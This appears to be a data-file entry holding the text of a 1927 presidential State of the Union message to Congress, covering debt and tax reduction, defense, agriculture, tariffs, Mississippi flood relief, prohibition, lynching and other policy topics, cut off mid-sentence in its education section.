+    "speech": "Members of the Congress:It is gratifying to report that for the fourth consecutive year the state\nof the Union in general is good. We are at peace. The country as a whole\nhas had a prosperity never exceeded. Wages are at their highest range,\nemployment is plentiful. Some parts of agriculture and industry have\nlagged; some localities have suffered from storm and flood. But such losses\nhave been absorbed without serious detriment to our great economic\nstructure. Stocks of goods are moderate and a wholesome caution is\nprevalent. Rates of interest for industry, agriculture, and government have\nbeen reduced. Savers and investors are providing capital for new\nconstruction in industry and public works. The purchasing power of\nagriculture has increased. If the people maintain that confidence which\nthey are entitled to have in themselves, in each other, and in America, a\ncomfortable prosperity will continue.CONSTRUCTIVE ECONOMYWithout constructive economy in Government expenditures we should not now\nbe enjoying these results or these prospects. Because we are not now\nphysically at war, some people are disposed to forget that our war debt\nstill remains. The Nation must make financial sacrifices, accompanied by a\nstern self-denial in public expenditures, until we have conquered the\ndisabilities of our public finance. While our obligation to veterans and\ndependents is large and continuing, the heavier burden of the national debt\nis being steadily eliminated. At the end of this fiscal year it will be\nreduced from about $26,600,000,000 to about $17,975,000,000. Annual\ninterest, including war savings, will have been reduced from $1,055,000,000\nto $670,0001,000. The sacrifices of the people, the economy of the\nGovernment, are showing remarkable results. They should be continued for\nthe purpose of relieving the Nation of the burden of interest and debt and\nreleasing revenue for internal improvements and national development.Not only the amount, but the rate, of Government interest has been reduced.\nCallable bonds have been refunded and paid, so that during this year the\naverage rate of interest on the present public debt for the first time fell\nbelow 4 per cent. Keeping the credit of the Nation high is a tremendously\nprofitable operation.TAX REDUCTIONThe immediate fruit of economy and the retirement of the public debt is tax\nreduction. The annual saving in interest between 1925 and 1929 is\n$212,000,000. Without this no bill to relieve the taxpayers would be worth\nproposing. The three measures already enacted leave our Government revenues\nwhere they are not oppressive. Exemptions, have been increased until\n115,000,000 people make but 2,500,000 individual taxable returns, so that\nfurther reduction should be mainly for the purpose of removing\ninequalities. The Secretary of the Treasury has recommended a measure which\nwould give us a much better balanced system of taxation and without\noppression produce sufficient revenue. It has my complete support.Unforeseen contingencies requiring money are always arising. Our probable\nsurplus for June 30, 1929, is small. A slight depression in business would\ngreatly reduce our revenue because of our present method of taxation. The\npeople ought to take no selfish attitude of pressing for removing moderate\nand fair taxes which might produce a deficit. We must keep our budget\nbalanced for each year. That is the corner stone of our national credit,\nthe trifling price we pay to command the lowest rate of interest of any\ngreat power in the world. Any surplus can be applied to debt reduction, and\ndebt reduction is tax reduction. Under the present circumstances it would\nbe far better to leave the rates as they are than to enact a bill carrying\nthe peril of a deficit. This is not a problem to be approached in a narrow\nor partisan spirit. All of those who participate in finding a reasonable\nsolution will be entitled to participate in any credit that accrues from it\nwithout regard to party. The Congress has already demonstrated that tax\nlegislation can be removed from purely political consideration into the\nrealm of patriotic business principles.Any bill for tax reduction should be written by those who are responsible\nfor raising, managing, and expending the finances of the Government. If\nspecial interests, too often selfish, always uninformed of the national\nneeds as a whole, with hired agents using their proposed beneficiaries as\nengines of propaganda, are permitted to influence the withdrawal of their\nproperty from taxation, we shall have a law that is unbalanced and unjust,\nbad for business, bad for the country, probably resulting in a deficit,\nwith disastrous financial Consequences. The Constitution has given the\nMembers of the Congress sole authority to decide what tax measures shall be\npresented for approval. While welcoming information from any quarter, the\nCongress should continue to exercise its own judgment in a matter so vital\nand important to all the interests of the country as taxation.NATIONAL DEFENSEBeing a nation relying not on force, but on fair dealing and good will, to\nmaintain peace with others, we have provided a moderate military force in a\nform adapted solely to defense. It should be continued with a very generous\nsupply of officers and with the present base of personnel, subject to\nfluctuations which may be temporarily desirable.The five-year program for our air forces is in keeping with this same\npolicy and commensurate with the notable contributions of America to the\nscience of aeronautics. The provisions of the law lately enacted are being\nexecuted as fast as the practical difficulties of an orderly and stable\ndevelopment permit.While our Army is small, prudence requires that it should be kept in a high\nstate of efficiency and provided with such supplies as would permit of its\nimmediate expansion. The garrison ration has lately been increased.\nRecommendations for an appropriation of $6,166,000 for new housing made to\nthe previous Congress failed to pass. While most of the Army is well\nhoused, some of it which is quartered in wartime training camps is becoming\npoorly housed. In the past three years $12,533,000 have been appropriated\nfor reconstruction and repairs, and an authorization has been approved of\n$22,301,000 for new housing, under which $8,070,000 has already been\nappropriated. A law has also been passed, complying with the request of the\nWar Department, allocating funds received from the sale of buildings and\nland for housing purposes. The work, however, is not completed, so that\nother appropriations are being recommended.Our Navy is likewise a weapon of defense. We have a foreign commerce and\nocean lines of trade unsurpassed by any other country. We have outlying\nterritory in the two great oceans and long stretches of seacoast studded\nwith the richest cities in the world. We are responsible for the protection\nof a large population and the greatest treasure ever bestowed upon any\npeople. We are charged with an international duty of defending the Panama\nCanal. To meet these responsibilities we need a very substantial sea\narmament. It needs aircraft development, which is being provided under the\nfive-year program. It needs submarines as soon as the department decides\nupon the best type of construction. It needs airplane carriers and a\nmaterial addition to its force of cruisers. We can plan for the future and\nbegin a moderate building program.This country has put away the Old World policy of competitive armaments. It\ncan never be relieved of the responsibility of adequate national defense.\nWe have one treaty secured by an unprecedented attitude of generosity on\nour part for a limitation in naval armament. After most careful\npreparation, extending over months, we recently made every effort to secure\na three-power treaty to the same end. We were granted much cooperation by\nJapan, but we were unable to come to an agreement with Great Britain. While\nthe results of the conference were of considerable value, they were mostly\nof a negative character. We know now that no agreement can be reached which\nwill be inconsistent with a considerable building program on our part. We\nare ready and willing to continue the preparatory investigations on the\ngeneral subject of limitation of armaments which have been started under\nthe auspices of the League of Nations.We have a considerable cruiser tonnage, but a part of it is obsolete.\nEveryone knew that had a three-power agreement been reached it would have\nleft us with the necessity of continuing our building program. The failure\nto agree should not cause us to build either more or less than we otherwise\nshould. Any future treaty of limitation will call on us for more ships. We\nshould enter on no competition. We should refrain from no needful program.\nIt should be made clear to all the world that lacking a definite agreement,\nthe attitude of any other country is not to be permitted to alter our own\npolicy. It should especially be demonstrated that propaganda will not cause\nus to change our course. Where there is no treaty limitation, the size of\nthe Navy which America is to have will be solely for America to determine.\nNo outside influence should enlarge it or diminish it. But it should be\nknown to all that our military power holds no threat of aggrandizement. It\nis a guaranty of peace and security at home, and when it goes abroad it is\nan instrument for the protection of the legal rights of our citizens under\ninternational law, a refuge in time of disorder, and always the servant of\nworld peace. Wherever our flag goes the rights of humanity increase.MERCHANT MARINEThe United States Government fleet is transporting a large amount of\nfreight and reducing its drain on the Treasury. The Shipping Board is\nconstantly under pressure, to which it too often yields, to protect private\ninterests, rather than serve the public welfare. More attention should be\ngiven to merchant ships as an auxiliary of the Navy. The possibility of\nincluding their masters and crews in the Naval Reserve, with some\nreasonable compensation, should be thoroughly explored as a method of\nencouraging private operation of shipping. Public operation is not a\nsuccess. No investigation, of which I have caused several to be made, has\nfailed to report that it could not succeed or to recommend speedy transfer\nto private ownership. Our exporters and importers are both indifferent\nabout using American ships. It should be our policy to keep our present\nvessels in repair and dispose of them as rapidly as possible, rather than\nundertake any new construction. Their operation is a burden on the National\nTreasury, for which we are not receiving sufficient benefits.COMMERCIAL AVIATIONA rapid growth is taking place in aeronautics. The Department of Commerce\nhas charge of the inspection and licensing system and the construction of\nnational airways. Almost 8,000 miles are already completed and about 4,000\nmiles more contemplated. Nearly 4,400 miles are now equipped and over 3,000\nmiles more will have lighting and emergency landing fields by next July.\nAir mail contracts are expected to cover 24 of these lines. Daily airway\nflying is nearly 15,000 miles and is expected to reach 25,000 miles early\nnext year.Flights for other purposes exceed 22,000 miles each day. Over 900 airports,\ncompleted and uncompleted, have been laid out. The demand for aircraft has\ngreatly increased. The policy already adopted by the Congress is producing\nthe sound development of this coming industry.WESTERN HEMISPHERE AIR MAILPrivate enterprise is showing much interest in opening up aviation service\nto Mexico and Central and South America. We are particularly solicitous to\nhave the United States take a leading part in this development. It is\nunderstood that the governments of our sister countries would be willing to\ncooperate. Their physical features, the undeveloped state of their\ntransportation, make an air service especially adaptable to their usage.\nThe Post Office Department should be granted power to make liberal\nlong-term contracts for carrying our mail, and authority should be given to\nthe Army and the Navy to detail aviators and planes to cooperate with\nprivate enterprise in establishing such mail service with the consent of\nthe countries concerned. A committee of the Cabinet will later present a\nreport on this subject.GOOD ROADSThe importance and benefit of good roads is more and more coming to be\nappreciated. The National Government has been making liberal contributions\nto encourage their construction. The results and benefits have been very\ngratifying. National participation, however, should be confined to\ntrunk-line systems. The national tax on automobiles is now nearly\nsufficient to meet this outlay. This tax is very small, and on low-priced\ncars is not more than $2 or $3 each year.While the advantage of having good roads is very large, the desire for\nimproved highways is not limited to our own country. It should and does\ninclude all the Western Hemisphere. The principal points in Canada are\nalready accessible. We ought to lend our encouragement in any way we can\nfor more good roads to all the principal points in this hemisphere south of\nthe Rio Grande. It has been our practice to supply these countries with\nmilitary and naval advisers, when they have requested it, to assist them in\nnational defense. The arts of peace are even more important to them and to\nus. Authority should be given by law to provide them at their request with\nengineering advisers for the construction of roads and bridges. In some of\nthese countries already wonderful progress is being made in road building,\nbut the engineering features are often very exacting and the financing\ndifficult. Private interests should look with favor on all reasonable loans\nsought by these countries to open such main lines of travel.This general subject has been promoted by the Pan American Congress of\nHighways, which will convene again at Rio de Janeiro in July, 1928. It is\ndesirable that the Congress should provide for the appointment of delegates\nto represent the Government of the United States.CUBAN PARCEL POSTWe have a temporary parcel-post convention with Cuba. The advantage of it\nis all on our side. During 1926 we shipped twelve times as many parcels,\nweighing twenty-four times as much, as we received. This convention was\nmade on the understanding that we would repeal an old law prohibiting the\nimportation of cigars and cigarettes in quantities less than 3,000 enacted\nin 1866 to discourage smuggling, for which it has long been unnecessary.\nThis law unjustly discriminates against an important industry of Cuba. Its\nrepeal has been recommended by the Treasury and Post Office Departments.\nUnless this is done our merchants and railroads will find themselves\ndeprived of this large parcel-post business after the 1st of next March,\nthe date of the expiration of the convention, which has been extended upon\nthe specific understanding that it would expire at that time unless this\nlegislation was enacted. We purchase large quantities of tobacco made in\nCuba. It is not probable that our purchases would be any larger if this law\nwas repealed, while it would be an advantage to many other industries in\nthe United States.INSULAR POSSESSIONSConditions in the Philippine Islands have been steadily improved.\nContentment and good order prevail. Roads, irrigation works, harbor\nimprovements, and public buildings are being constructed. Public education\nand sanitation have been advanced. The Government is in a sound financial\ncondition. These immediate results were especially due to the\nadministration of Gov. Gen. Leonard Wood. The six years of his governorship\nmarked a distinct improvement in the islands and rank as one of the\noutstanding accomplishments of this distinguished man. His death is a loss\nto the Nation and the islands.Greater progress could be made, more efficiency could be put into\nadministration, if the Congress would undertake to expend, through its\nappropriating power, all or a part of the customs revenues which are now\nturned over to the Philippine treasury. The powers of the auditor of the\nislands also need revision and clarification. The government of the islands\nis about 98 per cent in the hands of the Filipinos. An extension of the\npolicy of self-government will be hastened by the demonstration on their\npart of their desire and their ability to carry out cordially and\nefficiently the provisions of the organic law enacted by the Congress for\nthe government of the islands. It would be well for a committee of the\nCongress to visit the islands every two years.A fair degree of progress is being made in Porto Rico. Its agricultural\nproducts are increasing; its treasury position, which has given much\nconcern, shows improvement. I am advised by the governor that educational\nfacilities are still lacking. Roads are being constructed, which he\nrepresents are the first requisite for building schoolhouses. The loyalty\nof the island to the United States is exceedingly gratifying. A memorial\nwill be presented to you requesting authority to have the governor elected\nby the people of Porto Rico. This was never done in the case of our own\nTerritories. It is admitted that education outside of the towns is as yet\nvery deficient. Until it has progressed further the efficiency of the\ngovernment and the happiness of the people may need the guiding hand of an\nappointed governor. As it is not contemplated that any change should be\nmade immediately, the general subject may well have the thoughtful study of\nthe Congress.PANAMA CANALThe number of commercial ships passing through the Panama Canal has\nincreased from 3,967 in 1923 to 5,475 in 1927. The total amount of tolls\nturned into the Treasury is over $166,000,000, while all the operations of\nthe canal have yielded a surplus of about $80,000,000. In order to provide\nadditional storage of water and give some control over the floods of the\nChagres River, it is proposed to erect a dam to cost about $12,000,000 at\nAlhajuela. It will take some five years to complete this work.AGRICULTUREThe past year has seen a marked improvement in the general condition of\nagriculture. Production is better balanced and without acute shortage or\nheavy surplus. Costs have been reduced and the average output of the worker\nincreased. The level of farm prices has risen while others have fallen, so\nthat the purchasing power of the farmer is approaching a normal figure. The\nindividual farmer is entitled to great credit for the progress made since\n1921. He has adjusted his production and through cooperative organizations\nand other methods improved his marketing. He is using authenticated facts\nand employing sound methods which other industries are obliged to use to\nsecure stability and prosperity. The old-fashioned haphazard system is\nbeing abandoned, economics are being applied to ascertain the best adapted\nunit of land, diversification is being promoted, and scientific methods are\nbeing used in production, and business principles in marketing.Agriculture has not fully recovered from postwar depression. The fact is\nthat economic progress never marches forward in a straight line. It goes in\nwaves. One part goes ahead, while another halts and another recedes.\nEverybody wishes agriculture to prosper. Any sound and workable proposal to\nhelp the farmer will have the earnest support of the Government. Their\ninterests are not all identical. Legislation should assist as many\nproducers in as many regions as possible. It should be the aim to assist\nthe farmer to work out his own salvation socially and economically. No plan\nwill be of any permanent value to him which does not leave him standing on\nhis own foundation.In the past the Government has spent vast sums to bring land under\ncultivation. It is apparent that this has reached temporarily the\nsaturation point. We have had a surplus of production and a poor market for\nland, which has only lately shown signs of improvement. The main problem\nwhich is presented for solution is one of dealing with a surplus of\nproduction. It is useless to propose a temporary expedient. What is needed\nis permanency and stability. Government price fixing is known to be unsound\nand bound to result in disaster. A Government subsidy would work out in the\nsame way. It can not be sound for all of the people to hire some of the\npeople to produce a crop which neither the producers nor the rest of the\npeople want.Price fixing and subsidy will both increase the surplus, instead of\ndiminishing it. Putting the Government directly into business is merely a\ncombination of subsidy and price fixing aggravated by political pressure.\nThese expedients would lead logically to telling the farmer by law what and\nhow much he should plant and where he should plant it, and what and how\nmuch he should sell and where he should sell it. The most effective means\nof dealing with surplus crops is to reduce the surplus acreage. While this\ncan not be done by the individual farmer, it can be done through the\norganizations already in existence, through the information published by\nthe Department of Agriculture, and especially through banks and others who\nsupply credit refusing to finance an acreage manifestly too large.It is impossible to provide by law for an assured success and prosperity\nfor all those who engage in farming. If acreage becomes overextended, the\nGovernment can not assume responsibility for it. The Government can,\nhowever, assist cooperative associations and other organizations in orderly\nmarketing and handling a surplus clearly due to weather and seasonal\nconditions, in order to save the producer from preventable loss. While it\nis probably impossible to secure this result at a single step, and much\nwill have to be worked out by trial and rejection, a beginning could be\nmade by setting up a Federal board or commission of able and experienced\nmen in marketing, granting equal advantages under this board to the various\nagricultural commodities and sections of the country, giving encouragement\nto the cooperative movement in agriculture, and providing a revolving loan\nfund at a moderate rate of interest for the necessary financing. Such\nlegislation would lay the foundation for a permanent solution of the\nsurplus problem.This is not a proposal to lend more money to the farmer, who is already\nfairly well financed, but to lend money temporarily to experimental\nmarketing associations which will no doubt ultimately be financed by the\nregularly established banks, as were the temporary operations of the War\nFinance Corporation. Cooperative marketing especially would be provided\nwith means of buying or building physical properties.The National Government has almost entirely relieved the farmer from income\ntaxes by successive tax reductions, but State and local taxes have\nincreased, putting on him a grievous burden. A policy of rigid economy\nshould be applied to State and local expenditures. This is clearly within\nthe legislative domain of the States. The Federal Government has also\nimproved our banking structure and system of agricultural credits. The\nfarmer will be greatly benefited by similar action in many States. The\nDepartment of Agriculture is undergoing changes in organization in order\nmore completely to separate the research and regulatory divisions, that\neach may be better administered. More emphasis is being placed on the\nresearch program, not only by enlarging the appropriations for State\nexperiment stations but by providing funds for expanding the research work\nof the department. It is in this direction that much future progress can be\nexpected.THE PROTECTIVE TARIFFThe present tariff rates supply the National Treasury with well over\n$600,000,000 of annual revenue. Yet, about 65 per cent of our imports come\nin duty free. Of the remaining 35 per cent of imports on which duties are\nlaid about 23 per cent consists of luxuries and agricultural products, and\nthe balance of about 12 per cent, amounting, to around $560,000,000 is made\nup of manufactures and merchandise. As no one is advocating any material\nreduction in the rates on agriculture or luxuries, it is only the\ncomparatively small amount of about $560,000,000 of other imports that are\nreally considered in any discussion of reducing tariff rates. While this\namount, duty free, would be large enough seriously to depress many lines of\nbusiness in our own country, it is of small importance when spread over the\nrest of the world.It is often stated that a reduction of tariff rates on industry would\nbenefit agriculture. It would be interesting to know to what commodities it\nis thought this could be applied. Everything the farmer uses in farming is\nalready on the free list. Nearly everything he sells is protected. It would\nseem to be obvious that it is better for the country to have the farmer\nraise food to supply the domestic manufacturer than the foreign\nmanufacturer. In one case our country would have only the farmer; in the\nother it would have the farmer and the manufacturer. Assuming that Europe\nwould have more money if it sold us larger amounts of merchandise, it is\nnot certain it would consume more food, or, if it did, that its purchases\nwould be made in this country. Undoubtedly it would resort to the cheapest\nmarket, which is by no means ours. The largest and best and most profitable\nmarket for the farmer in the world is our own domestic market. Any great\nincrease in manufactured imports means the closing of our own plants.\nNothing would be worse for agriculture.Probably no one expects a material reduction in the rates on manufactures\nwhile maintaining the rates on agriculture. A material reduction in either\nwould be disastrous to the farmer. It would mean a general shrinkage of\nvalues, a deflation of prices, a reduction of wages, a general depression\ncarrying our people down to the low standard of living in our competing\ncountries. It is obvious that this would not improve but destroy our market\nfor imports, which is best served by maintaining our present high\npurchasing power under which in the past five years imports have increased\n63 per cent.FARM LOAN SYSTEMIt is exceedingly important that the Federal land and joint-stock land\nbanks should furnish the best possible service for agriculture. Certain\njoint-stock banks have fallen into improper and unsound practices,\nresulting in the indictment of the officials of three of them. More money\nhas been provided for examinations, and at the instance of the Treasury\nrules and regulations of the Federal Farm Board have been revised. Early\nlast May three of its members resigned. Their places were filled with men\nconnected with the War Finance Corporation. Eugene Meyer being designated\nas Farm Loan Commissioner. The new members have demonstrated their ability\nin the field of agricultural finance in the extensive operations of he War\nFinance Corporation. Three joint-stock banks have gone into receivership.\nIt is necessary to preserve the public confidence in this system in order\nto find a market for their bonds. A recent flotation was made at a record\nlow rate of 4 per cent. Careful supervision is absolutely necessary to\nprotect the investor and enable these banks to exercise their chief\nfunction in serving agriculture.MUSCLE SHOALSThe last year has seen considerable changes in the problem of Muscle\nShoals. Development of other methods show that nitrates can probably be\nproduced at less cost than by the use of hydroelectric power. Extensive\ninvestigation made by the Department of War indicates that the nitrate\nplants on this project are of little value for national defense and can\nprobably be disposed of within two years. The oxidation part of the plants,\nhowever, should be retained indefinitely. This leaves this project mostly\nconcerned with power. It should, nevertheless, continue to be dedicated to\nagriculture. It is probable that this desire can be best served by\ndisposing of the plant and applying the revenues received from it to\nresearch for methods of more economical production of concentrated\nfertilizer and to demonstrations and other methods of stimulating its use\non the farm. But in disposing of the property preference should be given to\nproposals to use all or part of it for nitrate production and fertilizer\nmanufacturing.FLOOD CONTROLFor many years the Federal Government has been building a system of dikes\nalong the Mississippi River for protection against high water. During the\npast season the lower States were overcome by a most disastrous flood. Many\nthousands of square miles were inundated a great many lives were lost, much\nlivestock was drowned, and a very heavy destruction of property was\ninflicted upon the inhabitants. The American Red Cross at once went to the\nrelief of the stricken communities. Appeals for contributions have brought\nin over $17,000,000. The Federal Government has provided services,\nequipment, and supplies probably amounting to about $7,000,000 more.\nBetween $5,000,000 and $10,000,000 in addition have been provided by local\nrailroads, the States, and their political units. Credits have been\narranged by the Farm Loan Board, and three emergency finance corporations\nwith a total capital of $3,000,000 have insured additional resources to the\nextent of $12,000,000. Through these means the 700,000 people in the\nflooded areas have been adequately supported. Provision has been made to\ncare for those in need until after the 1st of January.The Engineering Corps of the Army has contracted to close all breaks in the\ndike system before the next season of high water. A most thorough and\nelaborate survey of the whole situation has been made and embodied in a\nreport with recommendations for future flood control, which will be\npresented to the Congress. The carrying out of their plans will necessarily\nextend over a series of years. They will call for a raising and\nstrengthening of the dike system with provision for emergency spillway's\nand improvements for the benefit of navigation.Under the present law the land adjacent to the dikes has paid one-third of\nthe cost of their construction. This has been a most extraordinary\nconcession from the plan adopted in relation to irrigation, where the\ngeneral rule has been that the land benefited should bear the entire\nexpense. It is true, of course, that the troublesome waters do not\noriginate on the land to be reclaimed, but it is also true that such waters\nhave a right of way through that section of the country and the land there\nis charged with that easement. It is the land of this region that is to be\nbenefited. To say that it is unable to bear any expense of reclamation is\nthe same thing as saying that it is not worth reclaiming. Because of\nexpenses incurred and charges already held against this land, it seems\nprobable that some revision will have to be made concerning the proportion\nof cost which it should bear. But it is extremely important that it should\npay enough so that those requesting improvements will be charged with some\nresponsibility for their cost, and the neighborhood where works are\nconstructed have a pecuniary interest in preventing waste and extravagance\nand securing a wise and economical expenditure of public funds.It is necessary to look upon this emergency as a national disaster. It has\nbeen so treated from its inception. Our whole people have provided with\ngreat generosity for its relief. Most of the departments of the Federal\nGovernment have been engaged in the same effort. The governments of the\nafflicted areas, both State and municipal, can not be given too high praise\nfor the courageous and helpful way in which they have come to the rescue of\nthe people. If the sources directly chargeable can not meet the demand, the\nNational Government should not fail to provide generous relief. This,\nhowever, does not mean restoration. The Government is not an insurer of its\ncitizens against the hazard of the elements. We shall always have flood and\ndrought, heat and cold, earthquake and wind, lightning and tidal wave,\nwhich are all too constant in their afflictions. The Government does not\nundertake to reimburse its citizens for loss and damage incurred under such\ncircumstances. It is chargeable, however, with the rebuilding of public\nworks and the humanitarian duty of relieving its citizens from distress.The people in the flooded area and their representatives have approached\nthis problem in the most generous and broad-minded way. They should be met\nwith a like spirit on the part of the National government. This is all one\ncountry. The public needs of each part must be provided for by the public\nat large. No required relief should be refused. An adequate plan should be\nadopted to prevent a recurrence of this disaster in order that the people\nmay restore to productivity and comfort their fields and their towns.Legislation by this Congress should be confined to our principal and most\npressing problem, the lower Mississippi, considering tributaries only so\nfar as they materially affect the main flood problem. A definite Federal\nprogram relating to our waterways was proposed when the last Congress\nauthorized a comprehensive survey of all the important streams of the\ncountry in order to provide for their improvement, including flood control,\nnavigation, power, and irrigation. Other legislation should wait pending a\nreport on this survey. The recognized needs of the Mississippi should not\nbe made a vehicle for carrying other projects. All proposals for\ndevelopment should stand on their own merits. Any other method would result\nin ill-advised conclusions, great waste of money, and instead of promoting\nwould delay the orderly and certain utilization of our water resources.Very recently several of the New England States have suffered somewhat\nsimilarly from heavy rainfall and high water. No reliable estimate of\ndamage has yet been computed, but it is very large to private and public\nproperty. The Red Cross is generously undertaking what is needed for\nimmediate relief, repair and reconstruction of houses, restocking of\ndomestic animals, and food, clothing, and shelter. A considerable sum of\nmoney will be available through the regular channels in the Department of\nAgriculture for reconstruction of highways. It may be necessary to grant\nspecial aid for this purpose. Complete reports of what is required will\nundoubtedly be available early in the session.INLAND NAVIGATIONThe Congress in its last session authorized the general improvements\nnecessary to provide the Mississippi waterway system with better\ntransportation. Stabilization of the levels of the Great Lakes and their\nopening to the sea by an effective shipway remain to be considered. Since\nthe last session the Board of Engineers of the War Department has made a\nreport on the proposal for a canal through the State of New York, and the\nJoint Board of Engineers, representing Canada and the United States, has\nfinished a report on the St. Lawrence River. Both of these boards conclude\nthat the St. Lawrence project is cheaper, affords a more expeditious method\nof placing western products in European markets, and will cost less to\noperate. The State Department has requested the Canadian Government to\nnegotiate treaties necessary to provide for this improvement. It will also\nbe necessary to secure an agreement with Canada to put in works necessary\nto prevent fluctuation in the levels of the Great Lakes.Legislation is desirable for the construction of a dam at Boulder Canyon on\nthe Colorado River, primarily as a method of flood control and irrigation.\nA secondary result would be a considerable power development and a source\nof domestic water supply for southern California. Flood control is clearly\na national problem, and water supply is a Government problem, but every\nother possibility should be exhausted before the Federal Government becomes\nengaged in the power business. The States which are interested ought to\nreach mutual agreement. This project is in reality their work. If they wish\nthe Federal Government to undertake it, they should not hesitate to make\nthe necessary concessions to each other. This subject is fully discussed in\nthe annual report of the Secretary of the Interior. The Columbia River\nBasin project is being studied and will be one to be considered at some\nfuture time.The Inland Waterways Corporation is proving successful and especially\nbeneficial to agriculture. A survey is being made to determine its future\nneeds. It has never been contemplated that if inland rivers were opened to\nnavigation it would then be necessary for the Federal Government to provide\nthe navigation. Such a request is very nearly the equivalent of a\ndeclaration that their navigation is not profitable, that the commodities\nwhich they are to carry can be taken at a cheaper rate by some other\nmethod, in which case the hundreds of millions of dollars proposed to be\nexpended for opening rivers to navigation would be not only wasted, but\nwould entail further constant expenditures to carry the commodities of\nprivate persons for less than cost.The policy is well established that the Government should open public\nhighways on land and on water, but for use of the public in their private\ncapacity. It has put on some demonstration barge lines, but always with the\nexpectation that if they prove profitable they would pass into private\nhands and if they do not prove profitable they will be withdrawn. The\nproblems of transportation over inland waterways should be taken up by\nprivate enterprise, so that the public will have the advantage of\ncompetition in service. It is expected that some of our lines can be sold,\nsome more demonstration work done, and that with the completion of the Ohio\nproject a policy of private operation can be fully developed.PROHIBITIONAfter more than two generations of constant debate, our country adopted a\nsystem of national prohibition under all the solemnities involved in an\namendment to the Federal Constitution. In obedience to this mandate the\nCongress and the States, with one or two notable exceptions, have passed\nrequired laws for its administration and enforcement. This imposes upon the\ncitizenship of the country, and especially on all public officers, not only\nthe duty to enforce, but the obligation to observe the sanctions of this\nconstitutional provision and its resulting laws. If this condition could be\nsecured, all question concerning prohibition would cease. The Federal\nGovernment is making every effort to accomplish these results through\ncareful organization, large appropriations, and administrative effort.\nSmuggling has been greatly cut down, the larger sources of supply for\nillegal sale have been checked, and by means of injunction and criminal\nprosecution the process of enforcement is being applied. The same vigilance\non the part of local governments would render these efforts much more\nsuccessful. The Federal authorities propose to discharge their obligation\nfor enforcement to the full extent of their ability.THE NEGROHistory does not anywhere record so much progress made in the same length\nof time as that which has been accomplished by the Negro race in the United\nStates since the Emancipation Proclamation. They have come up from slavery\nto be prominent in education, the professions, art, science, agriculture,\nbanking, and commerce. It is estimated that 50,000 of them are on the\nGovernment pay rolls, drawing about $50,000,000 each year. They have been\nthe recipients of presidential appointments and their professional ability\nhas arisen to a sufficiently high plane so that they have been intrusted\nwith the entire management and control of the great veterans hospital at\nTuskegee, where their conduct has taken high rank. They have shown that\nthey have been worthy of all the encouragement which they have received.\nNevertheless, they are too often subjected to thoughtless and inconsiderate\ntreatment, unworthy alike of the white or colored races. They have\nespecially been made the target of the foul crime of lynching. For several\nyears these acts of unlawful violence had been diminishing. In the last\nyear they have shown an increase. Every principle of order and law and\nliberty is opposed to this crime. The Congress should enact any legislation\nit can under the Constitution to provide for its elimination.AMERICAN INDIANThe condition of the American Indian has much improved in recent years.\nFull citizenship was bestowed upon them on June 2, 1924, and appropriations\nfor their care and advancement have been increased. Still there remains\nmuch to be done.Notable increases in appropriations for the several major functions\nperformed by the Department of the Interior on behalf of the Indians have\nmarked the last five years. In that time, successive annual increases in\nappropriations for their education total $1,804,325; for medical care,\n$578,000; and for industrial advancement, $205,000; or $2,582,325 more than\nwould have been spent in the same period on the basis of appropriations for\n1923 and the preceding years.The needs along health, educational, industrial and social lines however,\nare great, and the Budget estimates for 1929 include still further\nincreases for Indian administration.To advance the time when the Indians may become self-sustaining, it is my\nbelief that the Federal Government should continue to improve the\nfacilities for their care, and as rapidly as possible turn its\nresponsibility over to the States.COALLegislation authorizing a system of fuel administration and the appointment\nby the President of a Board of Mediation and Conciliation in case of actual\nor threatened interruption of production is needed. The miners themselves\nare now seeking information and action from the Government, which could\nreadily be secured through such a board. It is believed that a thorough\ninvestigation and reconsideration of this proposed policy by the Congress\nwill demonstrate that this recommendation is sound and should be adopted.PETROLEUM CONSERVATIONThe National Government is undertaking to join in the formation of a\ncooperative committee of lawyers, engineers, and public officers, to\nconsider what legislation by the States or by the Congress can be adopted\nfor the preservation and conservation of our supply of petroleum. This has\ncome to be one of the main dependencies for transportation and power so\nnecessary to our agricultural and industrial life. It is expected the\nreport of this committee will be available for later congressional action.\nMeantime, the requirement that the Secretary of the Interior should make\ncertain leases of land belonging to the Osage Indians, in accordance with\nthe act of March 3, 1921, should be repealed. The authority to lease should\nbe discretionary, in order that the property of the Indians way not be\nwasted and the public suffer a future lack of supply.ALIEN PROPERTYUnder treaty the property held by the Alien Property Custodian was to be\nretained until suitable provision had been made for the satisfaction of\nAmerican claims. While still protecting the American claimants, in order to\nafford every possible accommodation to the nationals of the countries whose\nproperty was held, the Congress has made liberal provision for the return\nof a larger part of the property. All trusts under $10,000 were returned in\nfull, and partial returns were made on the others. The total returned was\napproximately $350,000,000.There is still retained, however, about $250,000,000. The Mixed Claims\nCommission has made such progress in the adjudication of claims that\nlegislation can now be enacted providing for the return of the property,\nwhich should be done under conditions which will protect our Government and\nour claimants. Such a measure will be proposed, and I recommend its\nenactment.RAILROAD CONSOLIDATIONIn order to increase the efficiency of transportation and decrease its cost\nto the shipper, railroad consolidation must be secured. Legislation is\nneeded to simplify the necessary procedure to secure such agreements and\narrangements for consolidation, always under the control and with the\napproval of the Interstate Commerce Commission. Pending this, no adequate\nor permanent reorganization can be made of the freight-rate structure.\nMeantime, both agriculture and industry are compelled to wait for needed\nrelief. This is purely a business question, which should be stripped of all\nlocal and partisan bias and decided on broad principles and its merits in\norder to promote the public welfare. A large amount of new construction and\nequipment, which will furnish employment for labor and markets for\ncommodities of both factory and farm, wait on the decision of this\nimportant question. Delay is holding back the progress of our country.Many of the same arguments are applicable to the consolidation of the\nWashington traction companies.VETERANSThe care which this country has lavished on its veterans is known of all\nmen. The yearly outlay for this purpose is about $750,000,000, or about the\ncost of running the Federal Government, outside of the Post Office\nDepartment, before the World War. The Congress will have before it\nrecommendations of the American Legion, the Veterans of Foreign Wars, and\nother like organizations, which should receive candid consideration. We\nshould continue to foster our system of compensation and rehabilitation,\nand provide hospitals and insurance. The magnitude of the undertaking is\nalready so large that all requests calling for further expenditure should\nhave the most searching scrutiny. Our present system of pensions is already\nsufficiently liberal. It was increased by the last Congress for Civil and\nSpanish War veterans and widows and for some dependents.It has been suggested that the various governmental agencies now dealing\nwith veterans' relief be consolidated. This would bring many advantages. It\nis recommended that the proper committees of the Congress make a thorough\nsurvey of this subject, in order to determine if legislation to secure such\nconsolidation is desirable.EDUCATIONFor many years it has been the policy of the Federal Government to\nencourage and foster the cause of education. Large sums of money are\nannually appropriated to carry on vocational training. Many millions go\ninto agricultural schools. The general subject is under the immediate\ndirection of a Commissioner of Education. While this subject is strictly a\nState and local function, it should continue to have the encouragement of\nthe National Government. I am still of the 